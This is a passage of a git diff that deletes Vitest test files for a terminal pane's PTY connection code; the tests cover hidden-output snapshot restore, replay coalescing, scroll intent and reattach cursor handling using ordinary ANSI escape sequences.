-      await announceMainDrop(64, 1)
-      await announceMainDrop(64, 1)
-      drive.deliver(OVERFLOW_CHUNK, 64 + OVERFLOW_CHUNK.length)
-      first.resolve(modelSnapshot('PRE_OVERFLOW_ONLY', 128))
-      await flushAsyncTicks(30)
-      expect(getMainBufferSnapshot).toHaveBeenCalledTimes(1)
-
-      await vi.advanceTimersByTimeAsync(2_100)
-      await flushAsyncTicks(30)
-      expect(getMainBufferSnapshot).toHaveBeenCalledTimes(2)
-      expect(drive.writtenChunks().join('')).toContain('OVERFLOW_RECOVERED')
-      expect(drive.writtenChunks().join('')).not.toContain(BANNER_FRAGMENT)
-    } finally {
-      drive.disposable.dispose()
-    }
-  })
-
-  it('keeps the existing repaint behavior for a pending-cap marker', async () => {
-    const drive = await connectVisiblePane()
-    vi.useFakeTimers()
-    const getMainBufferSnapshot = vi.mocked(window.api.pty.getMainBufferSnapshot)
-    const first = createDeferred<MainSnapshot>()
-    getMainBufferSnapshot.mockReturnValueOnce(first.promise)
-    getMainBufferSnapshot.mockResolvedValue(modelSnapshot('PENDING_CAP_RECOVERED', 512))
-    try {
-      await announceMainDrop(64, 1)
-      await announceMainDrop(64, undefined, 'pending-cap')
-      first.resolve(modelSnapshot('EARLIER_CAPTURE', 128))
-      await flushAsyncTicks(30)
-      expect(getMainBufferSnapshot).toHaveBeenCalledTimes(1)
-
-      await vi.advanceTimersByTimeAsync(2_100)
-      await flushAsyncTicks(30)
-      expect(getMainBufferSnapshot).toHaveBeenCalledTimes(2)
-      expect(drive.writtenChunks().join('')).toContain('PENDING_CAP_RECOVERED')
-    } finally {
-      drive.disposable.dispose()
-    }
-  })
-
-  it('fetches a fresh snapshot when hidden bytes arrived during the first fetch', async () => {
-    const drive = await connectVisiblePane()
-    vi.useFakeTimers()
-    const getMainBufferSnapshot = vi.mocked(window.api.pty.getMainBufferSnapshot)
-    const first = createDeferred<MainSnapshot>()
-    const second = createDeferred<MainSnapshot>()
-    getMainBufferSnapshot.mockReturnValueOnce(first.promise).mockReturnValueOnce(second.promise)
-    try {
-      await announceMainDrop(64, 1)
-      await announceMainDrop(64, 1)
-      drive.setVisible(false)
-      drive.deliver('HIDDEN_AFTER_CAPTURE\r\n', 256)
-      drive.setVisible(true)
-      first.resolve(modelSnapshot('FIRST_CAPTURE', 128))
-      await flushAsyncTicks(30)
-      expect(getMainBufferSnapshot).toHaveBeenCalledTimes(2)
-
-      await vi.advanceTimersByTimeAsync(2_100)
-      second.resolve(modelSnapshot('FRESH_CAPTURE', 512))
-      await flushAsyncTicks(30)
-      expect(drive.writtenChunks().join('')).toContain('FRESH_CAPTURE')
-      expect(drive.writtenChunks().join('')).not.toContain(BANNER_FRAGMENT)
-    } finally {
-      drive.disposable.dispose()
-    }
-  })
-
-  it.each(['reject', 'unavailable'] as const)(
-    'keeps recovery pending after the first snapshot is %s',
-    async (failure) => {
-      const drive = await connectVisiblePane()
-      vi.useFakeTimers()
-      const getMainBufferSnapshot = vi.mocked(window.api.pty.getMainBufferSnapshot)
-      const first = createDeferred<MainSnapshot | null>()
-      getMainBufferSnapshot.mockReturnValueOnce(first.promise)
-      getMainBufferSnapshot.mockResolvedValue(modelSnapshot('RECOVERED_AFTER_REFUSAL', 512))
-      try {
-        await announceMainDrop(64, 1)
-        await announceMainDrop(64, 1, 'unhide')
-        if (failure === 'reject') {
-          first.reject(new Error('snapshot unavailable'))
-        } else {
-          first.resolve(null)
-        }
-        await flushAsyncTicks(30)
-        expect(getMainBufferSnapshot).toHaveBeenCalledTimes(1)
-        expect(window.api.pty.ackHiddenOutputRestoreApplied).not.toHaveBeenCalled()
-
-        await vi.advanceTimersByTimeAsync(75)
-        await flushAsyncTicks(30)
-        expect(getMainBufferSnapshot).toHaveBeenCalledTimes(2)
-        expect(drive.writtenChunks().join('')).toContain('RECOVERED_AFTER_REFUSAL')
-        expect(window.api.pty.ackHiddenOutputRestoreApplied).toHaveBeenCalledWith(PTY_ID, 1)
-        expect(drive.writtenChunks().join('')).not.toContain(BANNER_FRAGMENT)
-      } finally {
-        drive.disposable.dispose()
-      }
-    }
-  )
-})
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-runtime-snapshot.test.ts b/src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-runtime-snapshot.test.ts
deleted file mode 100644
index 61d02388f2e..00000000000
--- a/src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-runtime-snapshot.test.ts
+++ /dev/null
@@ -1,285 +0,0 @@
-import type * as React from 'react'
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import { RESET_AFTER_BYTE_GAP } from '../../../../../../shared/terminal/protocol/input-modes/terminal-mode-reset-profiles'
-import {
-  flushAsyncTicks,
-  renderHeadlessTerminalState
-} from '@/components/terminal-pane/pty-connection/test-fixtures/pty-connection-test-async'
-import {
-  createMockTransport,
-  createPane,
-  createManager,
-  type ConnectCallbacks,
-  type MockTransport
-} from '@/components/terminal-pane/pty-connection/test-fixtures/pty-connection-test-pane-fixtures'
-import {
-  buildPaneConnectionDeps,
-  type PtyConnectionAgentTitleMocks as AgentTitleMocks,
-  bindPaneAgentTitleMocks
-} from '@/components/terminal-pane/pty-connection/test-fixtures/pty-connection-test-deps'
-import { createInitialStoreState } from '@/components/terminal-pane/pty-connection/test-fixtures/pty-connection-test-store-fixtures'
-import type { StoreState } from '@/components/terminal-pane/pty-connection/test-fixtures/pty-connection-test-store-state'
-import {
-  installTerminalTestGlobals,
-  restoreTerminalTestGlobals
-} from '@/components/terminal-pane/pty-connection/test-fixtures/pty-connection-test-environment'
-
-const {
-  resetAndRefreshAllTerminalWebglAtlases,
-  scheduleRuntimeGraphSync,
-  shouldSeedCacheTimerOnInitialTitle,
-  toastInfo,
-  notifyCodexPaneBoundForStaleSweep,
-  presentPaneViewport
-} = vi.hoisted(() => ({
-  resetAndRefreshAllTerminalWebglAtlases: vi.fn(),
-  scheduleRuntimeGraphSync: vi.fn(),
-  shouldSeedCacheTimerOnInitialTitle: vi.fn(() => false),
-  toastInfo: vi.fn(),
-  notifyCodexPaneBoundForStaleSweep: vi.fn(),
-  presentPaneViewport: vi.fn()
-}))
-
-let mockStoreState: StoreState
-let transportFactoryQueue: MockTransport[] = []
-let createdTransportOptions: Record<string, unknown>[] = []
-let storeSubscribers: ((state: StoreState) => void)[] = []
-
-vi.mock('@/runtime/sync-runtime-graph/graph-sync-scheduler', () => ({
-  scheduleRuntimeGraphSync
-}))
-
-vi.mock('@/lib/pane-manager/pane-manager-registry', async (importOriginal) => ({
-  ...(await importOriginal<Record<string, unknown>>()),
-  resetAndRefreshAllTerminalWebglAtlases
-}))
-
-vi.mock('@/lib/pane-manager/pane-webgl-renderer', async (importOriginal) => ({
-  ...(await importOriginal<Record<string, unknown>>()),
-  presentPaneViewport
-}))
-vi.mock('@/lib/pane-manager/pane-viewport-present', async (importOriginal) => ({
-  ...(await importOriginal<Record<string, unknown>>()),
-  presentPaneViewport
-}))
-
-vi.mock('@/store/index', () => ({
-  useAppStore: {
-    getState: () => mockStoreState,
-    subscribe: (listener: (state: StoreState) => void) => {
-      storeSubscribers.push(listener)
-      return () => {
-        storeSubscribers = storeSubscribers.filter((candidate) => candidate !== listener)
-      }
-    }
-  }
-}))
-
-vi.mock('@/lib/agent-status/aggregation/worktree-agent-status', async (importOriginal) => {
-  const { buildAgentStatusModuleMock } =
-    await import('../test-fixtures/pty-connection-test-environment')
-  return buildAgentStatusModuleMock(await importOriginal<Record<string, unknown>>())
-})
-
-vi.mock('../../titles/cache-timer-seeding', () => ({
-  shouldSeedCacheTimerOnInitialTitle
-}))
-
-vi.mock('sonner', () => ({
-  toast: {
-    info: toastInfo
-  }
-}))
-
-vi.mock('@/lib/agent-session/accounts/codex/codex-stale-pane-sweep', () => ({
-  notifyCodexPaneBoundForStaleSweep
-}))
-
-// Pass useCallback through because this suite invokes notification hooks without rendering React.
-vi.mock('react', async (importOriginal) => {
-  const actual = await importOriginal<typeof React>()
-  return {
-    ...actual,
-    useCallback: <T extends (...args: unknown[]) => unknown>(fn: T): T => fn
-  }
-})
-
-vi.mock('../../pty-transport/ipc/pty-transport', () => ({
-  createIpcPtyTransport: vi.fn((options: Record<string, unknown>) => {
-    createdTransportOptions.push(options)
-    const nextTransport = transportFactoryQueue.shift()
-    if (!nextTransport) {
-      throw new Error('No mock transport queued')
-    }
-    return nextTransport
-  })
-}))
-
-vi.mock('../../pty-transport/remote-runtime/remote-runtime-pty-transport', () => ({
-  createRemoteRuntimePtyTransport: vi.fn(
-    (_environmentId: string, options: Record<string, unknown>) => {
-      createdTransportOptions.push(options)
-      const nextTransport = transportFactoryQueue.shift()
-      if (!nextTransport) {
-        throw new Error('No mock transport queued')
-      }
-      return nextTransport
-    }
-  )
-}))
-
-// Stub eager-buffer lookup to exercise live adoption without the IPC dispatcher.
-vi.mock('../../pty-transport/delivery/pty-dispatcher', async (importOriginal) => {
-  const actual = await importOriginal<Record<string, unknown>>()
-  return {
-    ...actual,
-    getEagerPtyBufferHandle: vi.fn(() => undefined)
-  }
-})
-
-function createDeps(overrides: Record<string, unknown> = {}) {
-  return buildPaneConnectionDeps(() => mockStoreState, overrides)
-}
-describe('connectPanePty', () => {
-  beforeEach(async () => {
-    vi.resetModules()
-    vi.clearAllMocks()
-    transportFactoryQueue = []
-    createdTransportOptions = []
-    storeSubscribers = []
-    mockStoreState = createInitialStoreState(() => mockStoreState)
-    await installTerminalTestGlobals()
-  })
-
-  afterEach(async () => {
-    await restoreTerminalTestGlobals()
-  })
-
-  it('restores overflowed hidden remote runtime output from its serialized snapshot', async () => {
-    const { connectPanePty } = await import('../connect-pane-pty')
-    const agentTitleMocks = await vi.importMock<AgentTitleMocks>(
-      '@/lib/agent-status/aggregation/worktree-agent-status'
-    )
-    const transport = createMockTransport('remote:env-1@@terminal-1')
-    const capturedDataCallback: {
-      current: ((data: string, meta?: { seq?: number; rawLength?: number }) => void) | null
-    } = { current: null }
-    // Why: with the skip grammar gone, remote-runtime model restore is latched by background-queue overflow, not per-chunk scanning.
-    const hidden = 'x'.repeat(2 * 1024 * 1024 + 1)
-    const live = 'visible remote output\r\n'
-    transport.serializeBuffer = vi.fn().mockResolvedValue({
-      data: 'remote snapshot with hidden remote output\r\n',
-      cols: 120,
-      rows: 40,
-      seq: hidden.length + live.length,
-      source: 'headless'
-    })
-    transport.connect.mockImplementation(async ({ callbacks }: { callbacks: ConnectCallbacks }) => {
-      capturedDataCallback.current = callbacks.onData ?? null
-      return 'remote:env-1@@terminal-1'
-    })
-    transportFactoryQueue.push(transport)
-    const getMainBufferSnapshot = window.api.pty.getMainBufferSnapshot as unknown as ReturnType<
-      typeof vi.fn
-    >
-
-    const pane = createPane(1)
-    const manager = createManager(1)
-    const deps = createDeps({ isVisibleRef: { current: false } })
-    const disposable = connectPanePty(
-      pane as never,
-      manager as never,
-      bindPaneAgentTitleMocks(deps as never, agentTitleMocks)
-    )
-    await flushAsyncTicks(6)
-
-    capturedDataCallback.current?.(hidden, { seq: hidden.length, rawLength: hidden.length })
-    expect(pane.terminal.write).not.toHaveBeenCalledWith(hidden, expect.any(Function))
-
-    ;(deps.isVisibleRef as { current: boolean }).current = true
-    capturedDataCallback.current?.(live, {
-      seq: hidden.length + live.length,
-      rawLength: live.length
-    })
-    await flushAsyncTicks(20)
-
-    expect(getMainBufferSnapshot).not.toHaveBeenCalled()
-    expect(transport.serializeBuffer).toHaveBeenCalledWith({
-      scrollbackRows: 5000,
-      repaintsPane: true
-    })
-    expect(pane.terminal.write).not.toHaveBeenCalledWith(hidden)
-    expect(pane.terminal.write).toHaveBeenCalledWith(
-      expect.stringContaining('remote snapshot with hidden remote output'),
-      expect.any(Function)
-    )
-    expect(presentPaneViewport).toHaveBeenCalledWith(pane)
-    disposable.dispose()
-  })
-
-  it('preserves the painted normal buffer when a successful hidden restore has no image', async () => {
-    const { connectPanePty } = await import('../connect-pane-pty')
-    const agentTitleMocks2 = await vi.importMock<AgentTitleMocks>(
-      '@/lib/agent-status/aggregation/worktree-agent-status'
-    )
-    const transport = createMockTransport('remote:env-1@@terminal-1')
-    const capturedDataCallback: {
-      current: ((data: string, meta?: { seq?: number; rawLength?: number }) => void) | null
-    } = { current: null }
-    const hidden = 'x'.repeat(2 * 1024 * 1024 + 1)
-    const live = 'visible remote output\r\n'
-    transport.serializeBuffer = vi.fn()
-    transport.serializeBufferOutcome = vi.fn().mockResolvedValue({
-      availability: { kind: 'snapshot' },
-      snapshot: {
-        data: '',
-        scrollbackAnsi: '',
-        cols: 120,
-        rows: 40,
-        seq: hidden.length + live.length,
-        source: 'headless'
-      }
-    })
-    transport.connect.mockImplementation(async ({ callbacks }: { callbacks: ConnectCallbacks }) => {
-      capturedDataCallback.current = callbacks.onData ?? null
-      return 'remote:env-1@@terminal-1'
-    })
-    transportFactoryQueue.push(transport)
-    const pane = createPane(1)
-    const deps = createDeps({ isVisibleRef: { current: false } })
-    const disposable = connectPanePty(
-      pane as never,
-      createManager(1) as never,
-      bindPaneAgentTitleMocks(deps as never, agentTitleMocks2)
-    )
-    await flushAsyncTicks(6)
-    const writeStart = pane.terminal.write.mock.calls.length
-
-    capturedDataCallback.current?.(hidden, { seq: hidden.length, rawLength: hidden.length })
-    ;(deps.isVisibleRef as { current: boolean }).current = true
-    capturedDataCallback.current?.(live, {
-      seq: hidden.length + live.length,
-      rawLength: live.length
-    })
-    await flushAsyncTicks(20)
-
-    const restoreWrites = pane.terminal.write.mock.calls
-      .slice(writeStart)
-      .map(([data]) => String(data))
-    const paintedFrame = Array.from({ length: 8 }, (_, index) => `painted-frame-${index + 1}`).join(
-      '\r\n'
-    )
-    const actual = await renderHeadlessTerminalState([paintedFrame, ...restoreWrites], 120, 4)
-    const expected = await renderHeadlessTerminalState(
-      [paintedFrame, ...restoreWrites.filter((data) => data === live)],
-      120,
-      4
-    )
-    expect(actual).toEqual(expected)
-    // Ground the pen despite an imageless snapshot: the gap still occurred and no repaint will reset the live terminal.
-    expect(restoreWrites).toContain(RESET_AFTER_BYTE_GAP)
-    expect(transport.serializeBufferOutcome).toHaveBeenCalledTimes(1)
-    expect(transport.serializeBuffer).not.toHaveBeenCalled()
-    disposable.dispose()
-  })
-})
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-replay-payload-handling.spec.ts b/src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-replay-payload-handling.spec.ts
deleted file mode 100644
index f6d66e82bbd..00000000000
--- a/src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-replay-payload-handling.spec.ts
+++ /dev/null
@@ -1,484 +0,0 @@
-import { bindPtyConnectionTestMocks } from '../test-fixtures/pty-connection-mocks.spec'
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import {
-  POST_REPLAY_REATTACH_RESET,
-  RESET_TERMINAL_CURSOR_STYLE
-} from '../../../../../../shared/terminal/protocol/input-modes/terminal-mode-reset-profiles'
-import { replayEpilogue } from '../test-fixtures/pty-connection-test-replay-epilogue'
-import { flushAsyncTicks } from '../test-fixtures/pty-connection-test-async'
-import { ANSI_POSITIONED_CURSOR_AGENT_REATTACH_SCREEN } from '../test-fixtures/pty-connection-test-constants'
-import {
-  withMockedDocumentActiveElement,
-  configureTerminalFocusMode
-} from '../test-fixtures/pty-connection-test-dom'
-import {
-  createMockTransport,
-  createPane,
-  captureCallbackTerminalWrites,
-  createManager,
-  type ConnectCallbacks,
-  type MockTransport
-} from '../test-fixtures/pty-connection-test-pane-fixtures'
-
-import {
-  buildPaneConnectionDeps,
-  type PtyConnectionAgentTitleMocks,
-  bindPaneAgentTitleMocks
-} from '../test-fixtures/pty-connection-test-deps'
-import {
-  createInitialStoreState,
-  buildReattachPaneTitleState,
-  buildActiveRuntimeEnvironmentState
-} from '../test-fixtures/pty-connection-test-store-fixtures'
-import type { StoreState } from '../test-fixtures/pty-connection-test-store-state'
-import {
-  installTerminalTestGlobals,
-  restoreTerminalTestGlobals
-} from '../test-fixtures/pty-connection-test-environment'
-
-export function registerPtyConnectionReplayPayloadHandlingTests(): void {
-  let mockStoreState: StoreState
-  let transportFactoryQueue: MockTransport[] = []
-  let createdTransportOptions: Record<string, unknown>[] = []
-  let storeSubscribers: ((state: StoreState) => void)[] = []
-
-  function createDeps(overrides: Record<string, unknown> = {}) {
-    return buildPaneConnectionDeps(() => mockStoreState, overrides)
-  }
-
-  function setReattachPaneTitle(title: string): void {
-    mockStoreState = buildReattachPaneTitleState(mockStoreState, title)
-  }
-
-  // Why: activeRuntimeEnvironmentId exercises the remote-runtime path where the renderer still owns OSC 9999 status.
-  function enableActiveRuntimeEnvironment(environmentId = 'env-1'): void {
-    mockStoreState = buildActiveRuntimeEnvironmentState(mockStoreState, environmentId)
-  }
-
-  describe('connectPanePty', () => {
-    beforeEach(async () => {
-      vi.clearAllMocks()
-      transportFactoryQueue = []
-      createdTransportOptions = []
-      storeSubscribers = []
-      mockStoreState = createInitialStoreState(() => mockStoreState)
-      bindPtyConnectionTestMocks({
-        getState: () => mockStoreState,
-        getTransportQueue: () => transportFactoryQueue,
-        getTransportOptions: () => createdTransportOptions,
-        getStoreSubscribers: () => storeSubscribers,
-        setStoreSubscribers: (subscribers) => {
-          storeSubscribers = subscribers
-        }
-      })
-      await installTerminalTestGlobals()
-    })
-
-    afterEach(async () => {
-      await restoreTerminalTestGlobals()
-    })
-
-    it('cancels a delayed snapshot scroll restore when the pane binding is disposed', async () => {
-      const { connectPanePty } = await import('../connect-pane-pty')
-      const agentTitleMocks2 = await vi.importMock<PtyConnectionAgentTitleMocks>(
-        '@/lib/agent-status/aggregation/worktree-agent-status'
-      )
-      const { isTerminalScrollIntentRebuildInFlight } =
-        await import('@/lib/pane-manager/terminal-scroll-intent-rebuild')
-      const transport = createMockTransport('pty-id')
-      const capturedDataCallback: {
-        current: ((data: string, meta?: { seq?: number; rawLength?: number }) => void) | null
-      } = { current: null }
-      transport.connect.mockImplementation(
-        async ({ callbacks }: { callbacks: ConnectCallbacks }) => {
-          capturedDataCallback.current = callbacks.onData ?? null
-          return 'pty-id'
-        }
-      )
-      transportFactoryQueue.push(transport)
-      const getMainBufferSnapshot = window.api.pty.getMainBufferSnapshot as unknown as ReturnType<
-        typeof vi.fn
-      >
-      const hidden = 'x'.repeat(2 * 1024 * 1024 + 1)
-      const live = 'visible-after\r\n'
-      getMainBufferSnapshot.mockResolvedValue({
-        data: 'snapshot-state\r\n',
-        cols: 100,
-        rows: 30,
-        seq: hidden.length + live.length
-      })
-
-      const pane = createPane(1)
-      pane.terminal.buffer.active.viewportY = 42
-      pane.terminal.buffer.active.baseY = 100
-      const { writes, parseCallbacks } = captureCallbackTerminalWrites(pane)
-      const deps = createDeps({ isVisibleRef: { current: false } })
-      const disposable = connectPanePty(
-        pane as never,
-        createManager(1) as never,
-        bindPaneAgentTitleMocks(deps as never, agentTitleMocks2)
-      )
-      await flushAsyncTicks(6)
-
-      capturedDataCallback.current?.(hidden, { seq: hidden.length, rawLength: hidden.length })
-      ;(deps.isVisibleRef as { current: boolean }).current = true
-      capturedDataCallback.current?.(live, {
-        seq: hidden.length + live.length,
-        rawLength: live.length
-      })
-      await flushAsyncTicks(20)
-
-      expect(writes).toContain('snapshot-state\r\n')
-      expect(isTerminalScrollIntentRebuildInFlight(pane.terminal)).toBe(true)
-      pane.terminal.scrollToLine.mockClear()
-      disposable.dispose()
-      expect(isTerminalScrollIntentRebuildInFlight(pane.terminal)).toBe(true)
-
-      pane.terminal.buffer.active.baseY = 200
-      pane.terminal.buffer.active.viewportY = 200
-      for (const callback of parseCallbacks) {
-        callback()
-      }
-      await flushAsyncTicks()
-
-      expect(isTerminalScrollIntentRebuildInFlight(pane.terminal)).toBe(false)
-      expect(pane.terminal.scrollToLine).not.toHaveBeenCalled()
-    })
-
-    it('does not apply a delayed snapshot restore after newer user intent', async () => {
-      const { connectPanePty } = await import('../connect-pane-pty')
-      const agentTitleMocks3 = await vi.importMock<PtyConnectionAgentTitleMocks>(
-        '@/lib/agent-status/aggregation/worktree-agent-status'
-      )
-      const { markTerminalFollowOutput } = await import('@/lib/pane-manager/terminal-scroll-intent')
-      const transport = createMockTransport('pty-id')
-      const capturedDataCallback: {
-        current: ((data: string, meta?: { seq?: number; rawLength?: number }) => void) | null
-      } = { current: null }
-      transport.connect.mockImplementation(
-        async ({ callbacks }: { callbacks: ConnectCallbacks }) => {
-          capturedDataCallback.current = callbacks.onData ?? null
-          return 'pty-id'
-        }
-      )
-      transportFactoryQueue.push(transport)
-      const getMainBufferSnapshot = window.api.pty.getMainBufferSnapshot as unknown as ReturnType<
-        typeof vi.fn
-      >
-      const hidden = 'x'.repeat(2 * 1024 * 1024 + 1)
-      const live = 'visible-after\r\n'
-      getMainBufferSnapshot.mockResolvedValue({
-        data: 'snapshot-state\r\n',
-        cols: 100,
-        rows: 30,
-        seq: hidden.length + live.length
-      })
-
-      const pane = createPane(1)
-      pane.terminal.buffer.active.viewportY = 42
-      pane.terminal.buffer.active.baseY = 100
-      const { writes, parseCallbacks } = captureCallbackTerminalWrites(pane)
-      const deps = createDeps({ isVisibleRef: { current: false } })
-      const disposable = connectPanePty(
-        pane as never,
-        createManager(1) as never,
-        bindPaneAgentTitleMocks(deps as never, agentTitleMocks3)
-      )
-      await flushAsyncTicks(6)
-
-      capturedDataCallback.current?.(hidden, { seq: hidden.length, rawLength: hidden.length })
-      ;(deps.isVisibleRef as { current: boolean }).current = true
-      capturedDataCallback.current?.(live, {
-        seq: hidden.length + live.length,
-        rawLength: live.length
-      })
-      await flushAsyncTicks(20)
-
-      expect(writes).toContain('snapshot-state\r\n')
-      pane.terminal.buffer.active.viewportY = 200
-      pane.terminal.buffer.active.baseY = 200
-      markTerminalFollowOutput(pane.terminal)
-      pane.terminal.scrollToLine.mockClear()
-      for (const callback of parseCallbacks) {
-        callback()
-      }
-      await flushAsyncTicks()
-
-      // Why: replay completion must not overwrite scroll intent recorded while xterm was still parsing the restored snapshot.
-      expect(pane.terminal.scrollToLine).not.toHaveBeenCalled()
-      disposable.dispose()
-    })
-
-    it('downgrades a scrollback-only Cursor Agent signal when the parsed viewport shows a shell', async () => {
-      const { connectPanePty } = await import('../connect-pane-pty')
-      enableActiveRuntimeEnvironment()
-      const transport = createMockTransport('remote:env-1@@terminal-1')
-      const capturedReplayCallback: {
-        current: ((data: string, meta?: { clearBeforeReplay?: boolean }) => void) | null
-      } = { current: null }
-      transport.connect.mockImplementation(
-        async ({ callbacks }: { callbacks: ConnectCallbacks }) => {
-          capturedReplayCallback.current = callbacks.onReplayData ?? null
-          return { id: 'remote:env-1@@terminal-1', replay: '' }
-        }
-      )
-      transportFactoryQueue.push(transport)
-      setReattachPaneTitle('renamed shell')
-
-      const pane = createPane(1)
-      // Why: a buffer whose visible rows carry no Cursor Agent screen models a shell foreground after a dead run left its screen in scrollback.
-      Object.assign(pane.terminal.buffer.active, {
-        cursorX: 2,
-        getLine: () => undefined
-      })
-      const textarea = {} as HTMLTextAreaElement
-      configureTerminalFocusMode(pane, textarea)
-      const manager = createManager(1)
-      const deps = createDeps()
-      const disposable = await withMockedDocumentActiveElement(textarea, async () => {
-        const agentTitleMocks8 = await vi.importMock<PtyConnectionAgentTitleMocks>(
-          '@/lib/agent-status/aggregation/worktree-agent-status'
-        )
-
-        const connection = connectPanePty(
-          pane as never,
-          manager as never,
-          bindPaneAgentTitleMocks(deps as never, agentTitleMocks8)
-        )
-        await flushAsyncTicks(6)
-
-        // A dead run left the cursor hidden; the live-agent reset preserves ?25l, so the veto must re-show the cursor for the shell.
-        capturedReplayCallback.current?.(`${ANSI_POSITIONED_CURSOR_AGENT_REATTACH_SCREEN}\x1b[?25l`)
-        await flushAsyncTicks(12)
-
-        expect(pane.terminal.write).toHaveBeenCalledWith(
-          replayEpilogue(RESET_TERMINAL_CURSOR_STYLE),
-          expect.any(Function)
-        )
-        expect(pane.terminal.write).toHaveBeenCalledWith(
-          '\x1b[?25h\x1b[?1004l',
-          expect.any(Function)
-        )
-        expect(transport.sendInput.mock.calls.map(([data]) => data)).not.toContain('\x1b[I')
-        return connection
-      })
-      disposable.dispose()
-    })
-
-    it('coalesces remote replay payloads that overlap before parsing starts', async () => {
-      const { connectPanePty } = await import('../connect-pane-pty')
-      const agentTitleMocks11 = await vi.importMock<PtyConnectionAgentTitleMocks>(
-        '@/lib/agent-status/aggregation/worktree-agent-status'
-      )
-      enableActiveRuntimeEnvironment()
-      const transport = createMockTransport('remote:env-1@@terminal-1')
-      const capturedReplayCallback: {
-        current: ((data: string) => void) | null
-      } = { current: null }
-      transport.connect.mockImplementation(
-        async ({ callbacks }: { callbacks: ConnectCallbacks }) => {
-          capturedReplayCallback.current = callbacks.onReplayData ?? null
-          return { id: 'remote:env-1@@terminal-1', replay: '' }
-        }
-      )
-      transportFactoryQueue.push(transport)
-
-      const pane = createPane(1)
-      const pendingParses: (() => void)[] = []
-      pane.terminal.write = vi.fn((_data: string | Uint8Array, callback?: () => void) => {
-        if (callback) {
-          pendingParses.push(callback)
-        }
-      })
-      const manager = createManager(1)
-      const deps = createDeps()
-      const disposable = connectPanePty(
-        pane as never,
-        manager as never,
-        bindPaneAgentTitleMocks(deps as never, agentTitleMocks11)
-      )
-      await flushAsyncTicks(6)
-
-      capturedReplayCallback.current?.('first replay')
-      capturedReplayCallback.current?.('second replay')
-      await flushAsyncTicks(6)
-
-      expect(pane.terminal.write).toHaveBeenCalledTimes(1)
-      expect(pane.terminal.write).toHaveBeenNthCalledWith(
-        1,
-        '\x1b[?2026l\x1b[2J\x1b[3J\x1b[H',
-        expect.any(Function)
-      )
-
-      for (let index = 0; index < 8; index += 1) {
-        await flushAsyncTicks(2)
-        pendingParses.shift()?.()
-      }
-      await flushAsyncTicks(4)
-
-      expect(pane.terminal.write).not.toHaveBeenCalledWith('first replay', expect.any(Function))
-      expect(pane.terminal.write).toHaveBeenCalledWith('second replay', expect.any(Function))
-      disposable.dispose()
-    })
-
-    it('holds newer live bytes until a later replay frame has fully parsed', async () => {
-      const { connectPanePty } = await import('../connect-pane-pty')
-      const agentTitleMocks12 = await vi.importMock<PtyConnectionAgentTitleMocks>(
-        '@/lib/agent-status/aggregation/worktree-agent-status'
-      )
-      const { deliverTerminalDataWithDeferredCredit } =
-        await import('@/lib/pane-manager/terminal-delivery-credit')
-      enableActiveRuntimeEnvironment()
-      const transport = createMockTransport('remote:env-1@@terminal-live-order')
-      const callbacksRef: {
-        replay: ((data: string) => void) | null
-        data: ((data: string) => void) | null
-      } = { replay: null, data: null }
-      transport.connect.mockImplementation(
-        async ({ callbacks }: { callbacks: ConnectCallbacks }) => {
-          callbacksRef.replay = callbacks.onReplayData ?? null
-          callbacksRef.data = callbacks.onData ?? null
-          return 'remote:env-1@@terminal-live-order'
-        }
-      )
-      transportFactoryQueue.push(transport)
-      const pane = createPane(1)
-      const { writes, parseCallbacks } = captureCallbackTerminalWrites(pane)
-      const binding = connectPanePty(
-        pane as never,
-        createManager(1) as never,
-        bindPaneAgentTitleMocks(createDeps() as never, agentTitleMocks12)
-      )
-      await flushAsyncTicks(8)
-
-      callbacksRef.replay?.('authoritative replay')
-      await flushAsyncTicks(8)
-      expect(writes).toEqual(['\x1b[?2026l\x1b[2J\x1b[3J\x1b[H'])
-
-      const acknowledgeLiveFrame = vi.fn()
-      deliverTerminalDataWithDeferredCredit(acknowledgeLiveFrame, () => {
-        callbacksRef.data?.('NEWER-LIVE\r\n')
-      })
-      expect(writes).not.toContain('NEWER-LIVE\r\n')
-      expect(acknowledgeLiveFrame).not.toHaveBeenCalled()
-      for (let index = 0; index < 12 && parseCallbacks.length > 0; index += 1) {
-        parseCallbacks.shift()?.()
-        await flushAsyncTicks(4)
-      }
-      await flushAsyncTicks(8)
-
-      const replayIndex = writes.indexOf('authoritative replay')
-      const resetIndex = writes.indexOf(replayEpilogue(POST_REPLAY_REATTACH_RESET))
-      const liveIndex = writes.indexOf('NEWER-LIVE\r\n')
-      expect(replayIndex).toBeGreaterThan(0)
-      expect(resetIndex).toBeGreaterThan(replayIndex)
-      expect(liveIndex).toBeGreaterThan(resetIndex)
-      expect(acknowledgeLiveFrame).toHaveBeenCalledOnce()
-
-      callbacksRef.replay?.('stalled replay')
-      await flushAsyncTicks(8)
-      const acknowledgeDisposedFrame = vi.fn()
-      deliverTerminalDataWithDeferredCredit(acknowledgeDisposedFrame, () => {
-        callbacksRef.data?.('LIVE-BEHIND-STALLED-REPLAY')
-      })
-      expect(acknowledgeDisposedFrame).not.toHaveBeenCalled()
-      binding.dispose()
-      expect(acknowledgeDisposedFrame).toHaveBeenCalledOnce()
-    })
-
-    it('drops a queued relay replay instead of retagging it for a replacement PTY', async () => {
-      const { connectPanePty } = await import('../connect-pane-pty')
-      const agentTitleMocks13 = await vi.importMock<PtyConnectionAgentTitleMocks>(
-        '@/lib/agent-status/aggregation/worktree-agent-status'
-      )
-      enableActiveRuntimeEnvironment()
-      const transport = createMockTransport('remote:env-1@@terminal-old')
-      const replayCallback: { current: ((data: string) => void) | null } = { current: null }
-      transport.connect.mockImplementation(
-        async ({ callbacks }: { callbacks: ConnectCallbacks }) => {
-          replayCallback.current = callbacks.onReplayData ?? null
-          return 'remote:env-1@@terminal-old'
-        }
-      )
-      transportFactoryQueue.push(transport)
-      const pane = createPane(1)
-      const { writes, parseCallbacks } = captureCallbackTerminalWrites(pane)
-      const binding = connectPanePty(
-        pane as never,
-        createManager(1) as never,
-        bindPaneAgentTitleMocks(createDeps() as never, agentTitleMocks13)
-      )
-      await flushAsyncTicks(8)
-
